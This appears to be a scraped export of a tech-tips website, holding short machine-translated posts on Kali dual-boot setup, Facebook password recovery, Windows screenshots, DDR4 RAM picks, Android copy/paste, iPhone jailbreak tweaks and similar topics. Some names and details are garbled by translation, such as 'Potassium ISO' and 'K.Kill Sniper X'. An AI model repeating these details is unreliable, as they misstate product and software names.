greeted with Kali boot screen. Choose Live , and you should boot into Kali Linux's default desktop.\n2. Now, launch the generated program. We will use gparted to shrink existing Windows partitions to make room for parallel installation of Kali Linux and Windows.\n  3. Select your Windows partition. Depending on your system, it will usually be the second partition - larger partition. In this example, there are two partitions; The first is the System Recovery partition - System Restore and Windows are installed in / dev / sda2 . Resize your Windows partition and leave enough space (at least 20 GB) for Kali installation.\n  4. Once you have resized the Windows partition, make sure you select \" Apply All Operations \" on the hard drive. Exit gparted and restart.\n  Procedures for installing Kali Linux 1. The installation procedure from this point on is similar to installing Kali Linux onto the hard drive on the computer until the partition, where you need to select ' Guided - use the largest continuous free space ' that you created. previously with gparted.\n  2. After installation is complete, restart. You will be greeted with a GRUB boot menu, which allows you to boot into Kali or Windows.\n  Parallel installation of Kali Linux and Windows is now complete. It's time to customize your system.\nGood luck!\nSee more:\nThings you need to know about Kali Linux Image How to create customized Potassium ISO How to install and use Kali Linux on VmWare virtual machine ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmopqkmWK5qrrUsWSdrZGheqO7zq1ksKGemby4vw%3D%3D\n","link":"/post/how-to-install-kali-linux-dual-boot-windows/","section":"post","tags":null,"title":"How to install Kali Linux dual boot Windows"},{"body":"We already have version Among Us on PC and Mobile, both of these versions are just a little different in how to control the character in the game.\nComing soon we also have a new map Among Us - Toppat spaceship. This is the largest map Among Us compared to the three old maps and gamers will certainly take some initial time to get used to.\nIn addition, you can also have fun with version of Among Us Online. In this version, you will always play the role of Impostor to kill the Crewmate. And if you let them catch you, you will be immediately taken off the map.\nAmong Us Online, but in fact you just play with the device only. However, the machine in here will be quite sensitive and you will be caught when you kill people. The fact that you can always be an Impostor will help you to have more killer skills when playing for real. How to play Among Us Online, please see the instructions below.\nDownload Among Us Online and how to play Step 1: Click on the link here and open it up, then you can invite your friends in by selecting Invite Friends. Next, copy the link above and share it with your friends.\n  Step 2: In the editing screen, you will have the following options:\nYour Name: Name of your character Share to Unlock: Share the game via Facebook to unlock choose colors, pets and hats. Kill Distance: Kill distance Kill Cooldown: Kill cooldown time Speed: Movement speed, any type of adjustment, you will be slower than the machines. Task Amount: Number of tasks to do.   Although the difficulty of the game is not too high, if you kill in front of the other Crewmates, you will be kicked off the map and lose immediately.\nIn general, this version Among Us Online will help those who are new to playing Among Us practice to become a professional assassin. The advice for you is to set the Kill Distance a bit higher\namong us online among us ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZurcyopaBlpah6sLrLoqWeZZSkxK%2B4zpqbZpmdpLuoedSsZKimnJ67pg%3D%3D\n","link":"/post/how-to-play-among-us-online-download-among-us-online/","section":"post","tags":null,"title":"How to play Among Us Online, download Among Us Online"},{"body":"  You need to log in to your Facebook account on your new device but forget your password. Perhaps due to the habit of using Facebook on mobile applications only need to log in once, just open and use without having to enter a password, so you accidentally forgot your password. You tried to retrieve your password memory but failed! Do not be sad, what has been forgotten then let go! Today's article I will guide you how to retrieve your Facebook password quickly and simply in case \"remember . forget\" happened again!\nStep 1: You access the following address https://www.facebook.com/login/identify\nYou enter your email address or phone number to login to your Facebook. You should remember your information such as email or phone number otherwise finding your account will be very difficult. After entering the information, click Search to Facebook search the account for you.\n  Step 2: After having the search results, Facebook will give you a suggestion to send a verification code via Email. Click Continue to have Facebook send the verification code you provided in Step 1.\n  Step 3: Check your Email. Facebook will send you an email with a confirmation code below to enter your Facebook security check.\n  Step 4: Enter the security code sent to you by the Facebook field. Then click Continue to move on to the next step.\n  Step 5: After confirming your Facebook account, you can change your new password now. Enter the new password box new password and click Continue.\n  Step 6: That's it. Congratulations on getting your Facebook password back. Now, click on Sign in to keep your account out of other applications like Facebook Mobile or Messenger . If you want to get rid of devices to log back in, click Log out of other devices . Finished, you click Continue .\n  And the result:\n  With a few basic operations, you can retrieve the login password for your Facebok account. If you are afraid of forgetting your password again, you can use the remember feature on Chrome, Firefox to save the password. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqqVqb%2BqsdWeZJpllpawpq7OqKJmqJGowLi70Z1ksKCVo3qqwIyiqmaen6e0sMDTnqU%3D\n","link":"/post/how-to-retrieve-a-facebook-password-when-it-is-forgotten/","section":"post","tags":null,"title":"How to retrieve a Facebook password when it is forgotten"},{"body":"There are many ways to take screenshots of your computer, from using tools available in Windows or using screen capture software with quicker and easier operations.\nTake screenshots on Windows XP Just press the Print Screen key to take a screenshot of the full screen, or Alt + Print Screen to take a screenshot of the current window.\n  It will not output to the image file directly but will be saved in the Clipboard , you must use an image processing software to paste out and save. Here, I use the Paint tool available in Windows.\n  Just open Paint and press Ctrl + V to paste. Then File\u0026gt; Save or Ctrl + S to save.\nTake screenshots with Windows 7 and 8, 8.1, 10 If you use Windows 7 / 8x or higher, you can follow the same method of Windows XP as above, that is, use the Print Screen Key to capture and open Paint or Photoshop, . to Paste in and then save.\nHowever, from Windows 7 onwards you have a tool called Snipping Tool available in Windows. Just press Start and type the Snipping tool into the search box to find it. Or on Win 8, 8.1 you hover on the right corner of the screen, select Open Search in the Chambar bar and also search for the Snipping Tool.\nThis software has 4 options for taking screenshots:\n  Free-form Snip : Capture the screen in any shape you draw Rectangular snip : Take screenshots in any rectangular frame Window Snip : Screen capture is working Full-screen Snip : Capture full screen By default, when you click New , you drag a rectangle and the area is captured.\n  Finally press Ctrl + S to save.\nScreenShoter - Screen capture software If you need software to take screenshots faster and more professionally, you can use ScreenShoter . The advantage of it is that it is quite easy to manipulate and export images directly , so it does not need many steps to have a screen image file.\nDownload here :\u0026nbsp;http://www.inspire-soft.net/data/screenshoter.zip\nThe software is very compact and requires no installation, so just unzip and run the exe file.\n  Part Region you will choose to take full screen , window capture or capture an arbitrary area .\nFilename is a place to choose a numbering (date and time) or ask every time (ask every time)\nThe Destination is where the image file will be exported.\nClick Screenshot and you will get the screen image file like that.\nIf you want to select an area to capture, click the button as shown below:\n  Then select the area you want to capture and right-click to confirm, then click Screenshot .\nBy default, the software will save JPG images, if you want to save with PNG or BMP image formats, go to Settings\u0026gt; Saving\u0026gt; Image Format and convert again. Or Settings\u0026gt; Image quality (JPG) if you want to adjust the quality of JPG images.\n* 133 * This is the end of the tutorial for using some of the built-in Windows tools and software to help you take the fastest and most professional computer screen capture. Do not forget to Like, Share and Comment support me!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqyRoLJurYysmqudlaPAqbvTZqafZamkwrN5wqikqa2kmr9uu81mrqKmlKTEtA%3D%3D\n","link":"/post/how-to-take-a-screenshot-of-your-computer-on-windows/","section":"post","tags":null,"title":"How to take a screenshot of your computer on Windows"},{"body":"The browser-based utilities to download videos are pretty much available, so you don't need to install software to download YouTube videos or other music sites. In Firefox, you can install the Video Downloader utility, which supports downloading videos or audio on music playback websites. In addition, this utility also supports users to convert video file formats or convert to audio files. How to use the Video Downloader utility in Firefox will be in the article below.\nHow to download videos on Web browser with Video Download Helper The fastest way to download Facebook videos to your computer without software How to download Vimeo videos to your computer How to download YouTube videos with Video Downloader Firefox Step 1:\nClick on the link below to install Video Downloader utility on Firefox. Click the Add to Firefox button to install.\nDownload Video Downloader utility   Step 2:\nOpen a website that wants to download videos like YouTube for example, then click on the icon of the last gadget to enter the browser address.\n  Wait for the utility to catch the link to download the video in the browser. The video download link interface will appear as shown below. Want to download videos of any size or format you just need to press to save to the folder on your computer.\n  Step 3:\nTo convert a file, click the gear icon next to each file.\n  Step 4:\nThe Convert frame appears and click keep format to select the file format you want to convert to. Finally click Start to perform the video conversion process.\n  The Current Conversions interface will appear so users can monitor the process of converting videos to the selected file format. If you want to stop the conversion process press the Abort button. When the conversion is complete, the utility will automatically display the folder on your computer to save the new format file.\n  With Video Downloader utility in Firefox, you can download videos on many video websites, and can convert the format right on the browser. We do not need to install additional video conversion tools to audio, or other video formats on Firefox.\nSee more:\nHow to rip music from video on computer with AV Video Converter How to join videos using the Video Toolbox online How to use YouTube Manager to download videos on YouTube channel I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq3tcOepmacn6y7rbvAnZyrZaWptq2107Jkraddmby4usuomJ1lpp6xprvSZqCnZZaev6ayzrE%3D\n","link":"/post/how-to-use-video-downloader-utility-to-download-videos-in-firefox/","section":"post","tags":null,"title":"How to use Video Downloader utility to download videos in Firefox"},{"body":"In today's work, Business Card - business card is used very widely and popularly, whenever you need to talk with partners, customers or friends, this is exactly what you need.This Business Card contains many information about name, address, title, phone number, website, email . of individuals or organizations, businesses. But arranging and organizing this list of information on a business card is not a simple thing. In the following article, we will present some basic steps to design a Business Card template with Photoshop application.\nFirst, open Photoshop and create a new file. The standard size of Business Card is 3.5 x 2 inches, but because it takes a bit of space to make the outer margin, we will add 0.3 inches, while the Color mode is CMYK, resolution is 300 px / inch for high quality.\nWidth = 3.8 inches Height = 2.3 inches Resolution = 300 Color Mode = CMYK Color, 6 bits\n\n To calibrate the size so that it is correct, select menu View\u0026gt; New Guide . and initialize the Vertical value to 0.15 in. Repeat this operation for Horizontal. Next, do the same and change the value to 3.65 inches and 2.15 inches in the next 2 times. As follows:\nView\u0026gt; New Guide Horizontal 0.15 inch 0.15 inch vertical Horizontal 3.65 inch 2.15 inch vertical\n  The next step is optional, but to get the best effect, we will bend the 4 corners of the business card.\n  Similar to the above, we need to keep a distance of 0.15 inches which is the minimum distance of the outer margin along with the text content and the image inside. As follows:\nHorizontal 0.3 inch 0.3 inch vertical Horizontal 3.5 inches 2 inch vertical\n  So the basic part is finished, and the next step is the content. You can follow the templates or ideas available, the basic information needed here is the name, phone number, contact address, website, email, business field, main job . Anything you want to convey to others. In this process, you should divide the content according to each layer, this process will help people keep the necessary and basic operations in the process, and easily edit later:\n  Usually, each business card will have two faces, corresponding to the fact that we have to design twice. So, you create 2 separate Layer groups:\n  And this is the result of this test:\n  Front\n  Backside\nGood luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWabopqutbXNoGSbraOeu6a%2F0maamqqUYravec%2Bhpq2no528sQ%3D%3D\n","link":"/post/instructions-for-creating-business-card-in-photoshop/","section":"post","tags":null,"title":"Instructions for creating Business Card in Photoshop"},{"body":"A DNS zone stub is a copy of a DNS zone containing the resource records needed to determine the authoritative DNS server for a particular zone and to resolve domain names between distinct DNS name zones.\nAccording to information published by Microsoft on the Windows health monitoring page, users will encounter this problem after installing updates released after January 25, 2022.\n  \"After installing the updates released January 25, 2022 (KB5009616) and subsequent updates on affected versions of Windows Server running the DNS Server role, the DNS zone stub will not be able to load a correctly, this causes DNS resolution to fail,\" Microsoft shared.\nTwo other Windows Server updates that can cause DNS issues are KB5010427 (released February 15) and KB5011551 (released March 22).\nMicrosoft fixed this issue through the Known Issue Rollback (KIR) feature. However, it does not automatically propagate to affected devices.\nDeploy KIR fixes using group policies\nTo troubleshoot DNS issues on enterprise devices that have failed Windows Server updates installed, IT administrators need to install and configure two group policies.\nYou can download the two group policies that administrators need to install and configure to resolve DNS issues by clicking the links below:\nDownload Link 1 for Windows Server 2019 Download Link 2 for Windows Server 2019 Recently, Microsoft fixed many issues related to the January 2022 update, including Bluetooth errors causing blue screens, domain controller restart errors due to LSASS glitches, Netlogon issues, and Windows Active Directory errors. .\nThe software giant has also rolled out emergency updates (OOBs) to address issues caused by the January 2022 Patch Tuesday update.\nwindows server ncG1vNJzZmismaXArq3KnmWcp51kv6avxKerZq%2BZo7Gww9Jmqp6qppq%2FbsHPnZitnaNisKLB0p5knaajYrKzvs6rqg%3D%3D\n","link":"/post/recent-windows-server-updates-cause-dns-errors/","section":"post","tags":null,"title":"Recent Windows Server Updates Cause DNS Errors"},{"body":"Join Tipsmake to check out the best gaming laptops of 2020 right now!\n1. Acer Nitro 5 Gaming Laptop AN515-55-5304   If you are a gamer who likes the Acer Nitro series, you definitely cannot miss the Acer Nitro 5 AN515-55-5304. With a gaming design for gamers. In terms of configuration, you will surely be extremely satisfied.\nGaming laptop with Core i5-10300H CPU configuration, high performance multi-core Intel chip. Featuring the latest generation of NVIDIA discrete graphics cards, which can support up to 32GB of RAM upgrade. With super storage capacity, two PCIe SSD slots and a traditional HDD.\n  It's flawed to ignore the screen's resolution. Acer Nitro 5 Gaming Laptop Full HD resolution with IPS ultra-thin bezel. Screen-to-body golden ratio up to 80%, lifelike color, brightness 300 nits.\nEnjoy uninterrupted gaming with 144Hz refresh rate and 3ms response time.\n  With a laptop with a smooth and smooth configuration, the Acer Nitro 5 AN515-55-5304 will handle every hot game.\nConfiguration Screen: 15.6 ″ IPS (1920 x 1080) RAM: 1 x 8GB DDR4 2933MHz Graphics: NVIDIA GeForce GTX 1650Ti 4GB GDDR6 / Intel UHD Graphics CPU: Intel Core i5-10300H 2. ASUS TUF Gaming FA506II AL012T Laptop   Asus TUF FA506II AL012T is the choice for you to consider with the price in the 20 million range. The performance of the machine will also surprise you.\nCPU processors from AMD Ryzen latest generation up to 8 cores, capable of fast multitasking. Graphics combined with up to GeForce RTX 2060 discrete GPU (configurable version optional).\n  With the GTX 1650Ti 4GB discrete card will help you balance the games: LOL, Dota, Forniture PUBG, . Impressive design, gamers can freely express their personal style. Additionally, this gaming laptop has passed the US military durability test MIL-STD-810H.\nConfiguration Display: 15.6 ″ IPS (1920 x 1080), 144Hz - RAM: 1 x 8GB DDR4 3200MHz Graphics: NVIDIA GeForce GTX 1650Ti 4GB GDDR6 / AMD Radeon Graphics - CPU: AMD Ryzen 5 4600H 3. MSI Thin GF65 10SER-622VN 622VN   When it comes to the MSI GF65 Thin 10SER-622VN , the main impression is its slim and light design. With a scratched metal top and an adjacent keyboard design, the underside has a unique hidden X-shaped ventilation slot. This is a gaming laptop with a 15-inch shape, looking neat thanks to the thin edge of the screen.\n  In addition, the laptop is also equipped with the latest high-performance Intel chip up to 40%, thanks to the high-frequency processing speed. State-of-the-art NVIDIA GeForce graphics card improves graphics performance. As a result, effectively increasing the number of frames per second for hot games!\n  Configuration Screen: 15.6 ″ IPS (1920 x 1080) 144Hz - RAM: 1 x 8GB DDR4 2666MHz (2 Slot / Maximum Support 64GB) Graphics: Intel UHD Graphics / NVIDIA GeForce RTX 2060 6GB GDDR6 - CPU: Intel Core i7-10750H Gaming laptops ncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkm52jqXqorcyipaBlnJa9tbvPrGSipl1nfXN8\n","link":"/post/top-3-best-gaming-laptops-in-2020/","section":"post","tags":null,"title":"Top 3 best gaming laptops in 2020"},{"body":"Have you ever heard about the term kerning in placement and typography in print? Do you know what it means? Let's find out in the following article.\n10 principles of text editing to help you become more professional Typing text on a computer What to do when the words in Microsoft Word jump What is kerning? Kerning refers to the distance between the characters of a font. Without kerning, each character takes up a block of space and the next character is printed after it. When applying kerning to a font, characters can overlap vertically. This does not mean that the characters actually stick together; instead, they allow two characters to share the same vertical space.\nFor example, when the letters A and V are placed next to each other, they will take up less overall space if overlapping. This is because the right part of A and the left part of V match. If kerning is used for two characters, you can draw a vertical line starting at the top left of the letter V and it will go through the lower right part of the letter A.\n  Kerning is useful because it allows to place more text in a certain space. Longer articles can be arranged in newspapers and magazines with limited space. It also looks more natural because when we write by hand, we often write letters that overlap each other. Many text editing programs as well as image editing software such as Adobe Photoshop, allow users to create kerning characters. These programs often have advanced settings that allow the user to determine the degree of strictness between characters.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWbmr%2Bvtc2g\n","link":"/post/what-is-kerning/","section":"post","tags":null,"title":"What is kerning?"},{"body":"With technology companies pushing back the release of DDR5 RAM by 2020, DDR4 RAM is the best memory for PCs at the moment. Whether you are a normal PC or user gamer, having enough space and the right RAM will make your PC run much smoother. If you encounter a drop frame or your computer is slow, the current RAM may be the cause of the problem.\nDo you need good memory and faster? Let's find out the list of the best DDR4 RAM for PC in 2019 that TipsMake.com suggests below!\nImprove PC performance with top 10 best DDR4 RAM in 2019 Something about DDR4 RAM 10 best DDR4 RAM to improve PC performance 1. Corsair Vengeance RGB PRO 16GB DDR4 2. G.Skill TridentZ RGB Series 16GB DDR4 3. Corsair Dominator Platinum RGB 16GB DDR4 4. Patriot Viper 4 Series 16GB DDR4 5. Gkill Sniper X 16GB DDR4 6. HyperX Predator RGB 16GB DDR4 7. G.Skill Ripjaws V Series 16GB DDR4 8. Patriot Viper Steel Series 16GB DDR4 9. Kingston HyperX Fury 16GB DDR4 10. Ballistix Tactical Tracer RGB 16GB DDR4  Something about DDR4 RAM Before considering the best DDR4 RAM, learn about DDR4 RAM and its advantages compared to its predecessor. You won't notice much difference when comparing DDR4 and DDR3 RAM.\nThe difference between DDR4 and DDR3 is negligible. DDR4 RAM works at lower voltages, supporting larger memory capacity and faster speeds.\nBecause computer hardware companies have eliminated most of DDR3 RAM, you will have to buy DDR4 RAM if you want to find ways to upgrade your PC.\n10 best DDR4 RAM to improve PC performance 1. Corsair Vengeance RGB PRO 16GB DDR4   Reference price: $ 124.90 (VND 2,900,000)\nThe Corsair Vengeance RGB PRO is not only 'nice to code' but also has a tremendous speed of 3,200MHz, making the PC speedy.\nIf you want to add color to your rather boring PC, the completely wireless Corsair Vengeance can do that too, thanks to the outstanding RGB light.\nIn addition, Corsair's iCUE technology can change colors for all 10 lights to signal any major changes in temperature. When considering PC performance, take a quick look at the color of the RAM.\n2. G.Skill TridentZ RGB Series 16GB DDR4   Reference price: $ 129.99 (VND 3,000,000)\nG.Skill TridentZ RGB and Corsair Vengeance RGB Pro are almost the same. TridentZ can reach the same speed of 3.200MHz and also provides the option of changing colors.\nThere is not much difference in performance, the choice of G.Skill TridentZ RGB or Corsair Vengeance RGB Pro depends on aesthetic tastes. TridentZ contains 5 separate LEDs and emits distinct colors.\n3. Corsair Dominator Platinum RGB 16GB DDR4   Reference price: $ 212.36 (4.9 million VND)\nIf there's a budget, choose to buy Corsair Dominator Platinum. This is an all-in-one RAM kit, with high performance and sleek design.\nDominator Platinum offers ample space for overclocking, as it is equipped with Corsair's own cooling technology. In addition, Dominator Platinum can also operate at 3,466MHz, making it an appropriate choice to optimize PC for gaming.\nLike the Corsair Vengeance, the Dominator also comes with the same iCUE technology, detects changes in temperature and adjusts colors corresponding to that change.\n4. Patriot Viper 4 Series 16GB DDR4   Reference price: $ 89.99 (VND 2,080,000)\nThe Patriot Viper 4 Series is a fairly simple RAM kit. It does not come with any eye-catching RGB lights, but still has its own 'substance'. The deep red and thorny edges create the distinctive appearance of Patriot Viper 4.\nThe Patriot Viper 4 doesn't have a light effect, doesn't mean it lacks other interesting features. In fact, Patriot Viper 4's heat shields are made of aluminum that is used to make airplanes, which keeps them cool. Patriot Viper 4 RAM has a speed of 3,000 - 3,400MHz, depending on the needs of users.\n5. Gkill Sniper X 16GB DDR4   Reference price: $ 169.95 (VND 3,900,000)\nK.Kill Sniper X may be what you need to speed up your computer. These powerful DDR4 RAM modules can run at speeds of up to 3,400MHz, providing a smooth gaming experience you've ever craved.\nIn addition, the Sniper X Series also has a very unique design. The black base, combined with the gray and black camo edges, makes these RAM bars stand out from other rivals on the list today.\n6. HyperX Predator RGB 16GB DDR4   Reference price: $ 134.99 (VND 3,125,000)\nYou can choose to buy HyperX Predator at different speeds, from low speed 2,400MHz to high speed 4,000MHz. If you have a tight budget, you should choose models without RGB.\nBlack aluminum heat sink provides powerful cooling performance and performance. With HyperX's HyperX technology, you can create the same string of light on all your RAM modules.\n7. G.Skill Ripjaws V Series 16GB DDR4   Reference price: $ 89.99 (VND 2,080,000)\nIf you are looking for a RAM kit with reasonable price and good performance, then you should consider G.Skill Ripjaws V Series. G.Skill Ripjaws V Series has a speed of 2,400MHz, certainly not the fastest speed among the options on this list, but is still one of the most popular options.\nCherry red with a pretty design makes the Ripjaws V Series a great upgrade for the PC.\n8. Patriot Viper Steel Series 16GB DDR4   Reference price: $ 89.99 (VND 2,080,000)\nPatriot Viper Steel Series is the product that possesses advantages in both strength and speed. Patriot Viper Steel Series has a no-frills design, sleek design and powerful performance boost. Be prepared to increase your RAM speed to 4,000MHz.\nUnfortunately, if you want speed for the gaming experience, you may have to spend a significant amount of money. But eliminating the lag when playing games is the reason why many people are not afraid to withdraw their wallet.\n9. Kingston HyperX Fury 16GB DDR4   Reference price $ 124.99 (VND 2,890,000)\nUse Kingston RAM HyperX Fury DDR4 RAM and you'll notice an immediate improvement in computer performance. Kingston HyperX Fury 16GB DDR4 automatically overclocked to a maximum of 3,466MHz and is always cooled with an efficient heat sink.\nHyperX Fury has a variety of color options: Black, red or white and they all have an eye-catching appearance.\n10. Ballistix Tactical Tracer RGB 16GB DDR4   Reference price: $ 107.03 (VND 2,480,000)\nBallistix brings customization to a completely different level than the Tactical Tracer RGB. The Tactical Tracer RGB comes with a unique metal design, providing better cooling capability.\nTactical Tracer RGB can reach speeds up to 2.666MHz. You can also monitor your memory speed and temperature through Ballistix's Memory Overview Display utility.\nDon't let the load time be long, games lag and drop frames affect your computing experience. Upgrading RAM can solve all these problems.\nWant to improve the gaming experience even further, please refer to the article: How to do, customize in the article will help your Windows 10 \"as fast as wind\" to optimize Wins 10 and improve computer performance.\nWish you find yourself the right choice!\nncG1vNJzZmismaXArq3KnmWcp51kfnF5wZ6qrWWUmb91edGapGasn2K2rrzRqK2eZaCYerGx0Z%2Bmq6WRo7Cm\n","link":"/post/10-best-ddr4-ram-to-improve-pc-performance/","section":"post","tags":null,"title":"10 best DDR4 RAM to improve PC performance"},{"body":"Like other traditional operating systems Android supports cutting, copying and pasting operations.However, the way to implement these features on Android also has some differences.\nCopy and paste common text If you want to copy a word, sentence, paragraph or text from a web page, message or any other source, follow these steps:\nClick a word in the text you want to copy, hold your finger on the word for a moment.After that, the word will be marked with two small drop-shaped controls on the sides, while an optional menu bar will also appear. Touch and hold the drop with one or both fingers, then drag them to fill the text you want to copy.\n SelectCopy (copy)in the options menu.\n Scroll to the application where you want to paste the copied text (such as your messaging application or email).\n Press and hold for a few seconds in the position where you want to paste the text.An optional menu bar will also appear again. ClickPaste (Paste)in the options menu to paste text.\n   Copy and paste the website link Basically, on Android devices, the site's copy operation is similar to copying text.\nOpen the browser and visit the site you want to copy the link to. Press and hold the web address in the address bar until the option menu bar appears. Select copy (copy). Scroll to the application you want to paste the copied link, such as email or message.Open the email, message or new browser window you want to use to paste the link address. Press and hold for a few seconds in the position where you want to paste the text.An optional menu bar will also appear again. Click Paste (Paste) in the options menu to paste the link.   Copy and paste special characters An icon or special character that you want to be able to copy and paste can be based on a document.If it is an image, you will not be able to copy and paste it in the usual way.\nCopyPasteCharacter.com is a useful website for those who are looking for certain symbols or special characters.You can copy and paste them using the same method as when copying and pasting regular text.\nCut and paste on Android The Cut option will only appear in the options menu when you are finished selecting the text, characters to paste, such as in an email or message.To cut the text, follow these steps:\nTouch a word in the text you want to cut, hold your finger on the word for a moment. The word will then be marked with two small drop-shaped controls on the sides and an optional menu will appear. Drag and drop two drops of water to select the text you want to cut. ClickCutin the options menu. Scroll to where you want to paste the cut text. Press and hold for a few seconds in the position where you want to paste the text. Click Paste on the options menu to paste the text. Why can't I copy the text?\nNote that not all applications support copying and pasting text.If the application has a web-based platform, such as Facebook or Twitter, if you want to copy the text, try accessing it with your mobile device's browser and then follow the steps above.\nsee more:\nHow to copy and paste multiple highlight text at once in Word 2 ways to copy web content without copying Two additional applications feature copy / paste for iPhone ncG1vNJzZmismaXArq3KnmWcp51krq24jKmpqJqcmrq0ec6fZJynoK56orrDZpqurF2eu26tzZ2pqKGU\n","link":"/post/all-problems-of-copy-and-cut-in-android/","section":"post","tags":null,"title":"All problems of copy and cut in Android"},{"body":"Manual Camera: DSLR Camera Professional is an application that will turn your Android smartphone into a professional mechanical camera. The application is equipped with many useful features, to help you get the best photos. Currently the app is priced at 143,000VND and is being offered for free in a short time. Please download quickly before the expiry date of the promotion.\nSome key features are available on the Manual Camera application: Camera DSLR DSLR:\nIncrease or decrease ISO (quantity measuring light sensitivity of image sensor for light) manually. Easy manual focus, face detection. Allows control of shutter speed. Exposure control and white balance. Equipped with Real-time filter / color effect. Support for taking pictures and recording in 4K resolution files (on supported devices). Support fast / slow motion video recording. Save images in RAW format. Support converting image formats. .           Note:\nTo be able to use the photography application Manual Camera: DSLR Camera Professional, the device must install Android 5.0 or higher.\nDownload link:\nManual Camera: DSLR Camera Professional\nSee more:\nPlease download WinX MediaTrans, data transfer software between iPhone, iPad and computer for $ 59.95, free of charge Free 6-month subscription to McAfee Internet Security 2019 license Free 6-month license for McAfee AntiVirus Plus 2018 antivirus software, priced at $ 55 ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdmK6usdGaZKaZnqqurXnCmqSeqpFisKK5xKuYZqiipLOmv9KipqeZnGKxtLjRZqerp5aawLS1zqeYpWWgnby1u8armKmgqWKusbzLopqarJmku26yzqtkmqaUp7yqsIyiqmaeopqy\n","link":"/post/camera-professional-dslr-professional-photography-application-for-android-is-free/","section":"post","tags":null,"title":"Camera Professional DSLR, professional photography application for Android, is free"},{"body":"Jayanta Mandal, an Indian engineering student, used a Nikon P1000 camera to observe the city. From a convenient example, he can enlarge things in the distance, such as images, even the faces of construction workers in a building that is under construction on the other side. city.\nWatch videos by Jayanta Mandal using a focal length lens equivalent to 24-3000mm from a Nikon P1000 camera made under the wire to see how awesome its zoom capability is.\nIt's hard to imagine a camera that has the zoom capability as in the video above, but with a super-zoom camera like the Nikon P1000, with a 125x optical zoom lens, everything is different, it can even See the Moon if you want to.\n  On July 10, 2018, Nikon launched the Coolpix P1000, which has an optical zoom of up to 125x, making the whole world in awe. This is the most zoomable camera in the world today with a focal length of 24-3000mm, aperture f / 2.8-8. In addition, it also has the zoom capability equivalent to a lens with a 6000mm long focal length thanks to the integration of Nikon's digital zoom technology.\n  See more:\nExplore the city of London through a timelapse image with resolutions up to 7,300 MP, clearly visible from 8 km away We invite you to admire the first 1 million MP photo in the world This bread cutter and photo splitting procedure will show you how the digital photo is edited ncG1vNJzZmismaXArq3KnmWcp51ksrm8xKugnqaTmnq1tMRmq56qop6vrbGMs6aopV2YrrGtwaKjoqyZmsBuu8VmaGttqGK5prrSnqpmp55iwamxjKegpKeeYr1yfI9pZKKknKq6qrrAraCnn12ptaZ5xKeroqqVYrqwu81moJ9llJrAqr7EnQ%3D%3D\n","link":"/post/experience-the-terrible-zoom-capabilities-of-125x-lenses-on-the-nikon-p1000-illuminating-the-entire-moon-if-desired/","section":"post","tags":null,"title":"Experience the terrible zoom capabilities of 125x lenses on the Nikon P1000, illuminating the entire Moon if desired"},{"body":"   If the user wants others to be unable to look at the 'delicate' data, they can be saved to a specific (partitioned) drive and then hide the drive . To do this the table does not need to use any software, just follow the steps below. - First, right-click the My Computer icon on the Desktop and select the Manage command in the context menu. - In Computer Management window, go to Storage \u0026gt; select Disk Management in the left pane. - In the right pane, right-click the drive you want to hide, right-click the drive letter and select Change Drive Letter and Paths . - In the Change Drive Letter and Paths dialog box, select the drive and click the Remove button. From now on, the drive will disappear in the disk browser chapters (but still displayed in Disk Management) until you make it appear again by doing the same, but click the Add button in the Change Drive Letter window. and Paths and reselect the drive letter in the Assign the following drive letter line in the next dialog box.\nncG1vNJzZmismaXArq3KnmWcp51ktaqwxGaroZ1dmb%2BqwsRmoKdlp567pbvWrGSxqA%3D%3D\n","link":"/post/hide-the-drive-in-windows-xp/","section":"post","tags":null,"title":"Hide the drive in Windows XP"},{"body":"To change the look of the iPhone home screen we can use many different applications, but with the Control Center to change the interface there are very few applications that support implementation. However, if your iPhone or iPad is installed with iOS 11 and above and jailbroken, you can install Glacier tweaks.\nThis tweak will proceed to customize the interface of the Control Center to transparent, no frame by default. Besides, the tool modules will also be hidden, no longer classified into different tool groups. The following article will guide you how to install Glacier tweaks on iPhone.\nHow to adjust the Control Center iOS 11 interface How to adjust the level during the virtual Home button on the iPhone How to customize the theme on iPhone Instructions to install Glacier iPhone tweak Step 1:\nGo to Cydia and click on the Sources tab to add http://repo.hackyouriphone.org/ . Then search for Glacier tweaks and install on the device.\n  Step 2:\nAfter the installation is complete and the device respring, the Control Center interface will automatically be changed so that users do not need to access the Settings to adjust. The Control Center interface will change as shown below.\n   Refine Glacier without any settings, but any changes will be immediately applied to the Control Center interface after installation. The Control Center interface will be simpler when the modules are hidden.\nSee more:\n4 customizations to optimize virtual Home button on iPhone, iPad 4 ways to fix iPhone home button yourself Fix the Home button error does not work on iPhone I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpmUn8K0wIytn55lmaW1sLrEZpqopqSnvK15wp6lrZ2iYravwMSrnZqblQ%3D%3D\n","link":"/post/how-to-adjust-the-iphone-control-center-interface/","section":"post","tags":null,"title":"How to adjust the iPhone Control Center interface"},{"body":"Encrypting File System (EFS) is a built-in encryption tool for Windows that encrypts files and folders on NTFS drives for the purpose of protecting them from unwanted access. EFS allows encryption and decryption of transparent files for user accounts using advanced, standard encryption algorithms. Any individual or application without the proper file encryption key cannot open any encrypted files and folders. Encryption is the most powerful protection that Windows provides to its users to secure their files and folders.\nThis article will show you how to enable or disable NTFS file encryption for all users in Windows 7, Windows 8 and Windows 10.\nDisable NTFS file compression to speed up Windows computers How to convert a FAT32 hard drive to NTFS on Windows does not lose data Partitioning file manager choose NTFS or FAT32? You need to login as an administrator to enable or disable NTFS file encryption.\nNote: If NTFS file encryption is disabled, recently encrypted files are still encrypted.\n  Method 1. Enable or disable NTFS file encryption in Local Group Policy Editor Note: Local Group Policy Editor is only available on Windows 7/8/10 Pro, Windows 7/8/10 Enterprise and Windows 10 Education editions.\nAll other versions can use the second way below.\nStep 1 . Open Local Group Policy Editor.\nStep 2 . In the left pane of Local Group Policy Editor, navigate to the location below.\nComputer ConfigurationAdministrative TemplatesSystemFilesystemNTFS    Step 3 . In the right pane of NTFS in the Local 